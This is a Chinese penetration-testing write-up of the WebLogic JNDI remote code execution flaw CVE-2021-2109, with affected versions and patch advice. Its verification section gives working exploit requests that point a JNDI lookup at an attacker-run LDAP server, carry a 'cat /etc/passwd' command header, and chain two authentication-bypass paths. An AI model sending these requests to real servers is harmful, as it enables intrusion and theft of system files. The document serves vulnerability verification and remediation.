zl程序教程

您现在的位置是:首页 >  其他

当前栏目

Weblogic JNDI远程代码执行漏洞(CVE-2021-2109)

漏洞 远程 2021 CVE 代码执行 weblogic JNDI
2023-06-13 09:13:09 时间

前言

持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。

0x01 漏洞描述

- Weblogic JNDI远程代码执行漏洞(CVE-2021-2109) -

Weblogic Server是Oracle公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。在Oracle官方发布的2021年1月关键补丁公告中,发布了针对WebLogic Server的严重漏洞(CVE-2021-2109),该漏洞是存在于WebLogic Console控制台中的一个远程代码执行漏洞,经过身份验证的攻击者可以直接通过JNDI远程执行代码注入,未经授权的攻击者可以配合CVE-2020-14882或者CVE-2020-14750权限绕过漏洞执行任意代码。

影响版本:

  • Oracle WebLogic 10.3.6.0.0
  • Oracle WebLogic 12.1.3.0.0
  • Oracle WebLogic 12.2.1.3.0
  • Oracle WebLogic 12.2.1.4.0
  • Oracle WebLogic 14.1.1.0.0

0x02 漏洞等级

0x03 漏洞验证

在VPS服务器设置对外开放1389和8080端口,使用JNDIExploit工具启动LDAP服务,并绑定VPS的公网IP地址:

D:\JNDIExploit.v1.2>java -jar JNDIExploit.jar -i xxx.xxx.xxx.xxx(VPS公网IP)
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8080...

正常利用管理员帐号登录Weblogic Console控制台的情况下,通过BurpSuite抓取登录后带Cookie数据包进行JNDI注入:

GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: www.luckysec.cn:7001
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd: cat /etc/passwd
Cookie: ADMINCONSOLESESSION=eGtTalBHY2b2h6x6DfgCrJxbHuT0iMHoaHMslzKGh8mUYeqeRMlD!1764575979
Upgrade-Insecure-Requests: 1

没有登录Weblogic Console控制台的情况下,配合CVE-2020-14882权限绕过漏洞进行JNDI注入:

GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: www.luckysec.cn:7001
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd: cat /etc/passwd
Cookie: ADMINCONSOLESESSION=eGtTalBHY2b2h6x6DfgCrJxbHuT0iMHoaHMslzKGh8mUYeqeRMlD!1764575979
Upgrade-Insecure-Requests: 1

没有登录Weblogic Console控制台的情况下,配合CVE-2020-14750权限绕过漏洞进行JNDI注入:

GET /console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: www.luckysec.cn:7001
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd: cat /etc/passwd
Cookie: ADMINCONSOLESESSION=eGtTalBHY2b2h6x6DfgCrJxbHuT0iMHoaHMslzKGh8mUYeqeRMlD!1764575979
Upgrade-Insecure-Requests: 1

注意:ldap://xxx.xxx.xxx;xxx:1389/的地址IP的第三个分隔符是;号。

0x04 漏洞修复

  1. 目前厂商已发布升级补丁以修复漏洞。
  2. 通过控制T3协议的访问来临时阻断针对这些漏洞的攻击。
  3. 临时关闭后台/console/console.portal对外访问。
  4. 禁止启用IIOP,登陆Weblogic控制台,找到启用IIOP选项,取消勾选并重启。
  5. 升级Weblogic Server运行环境的JDK版本。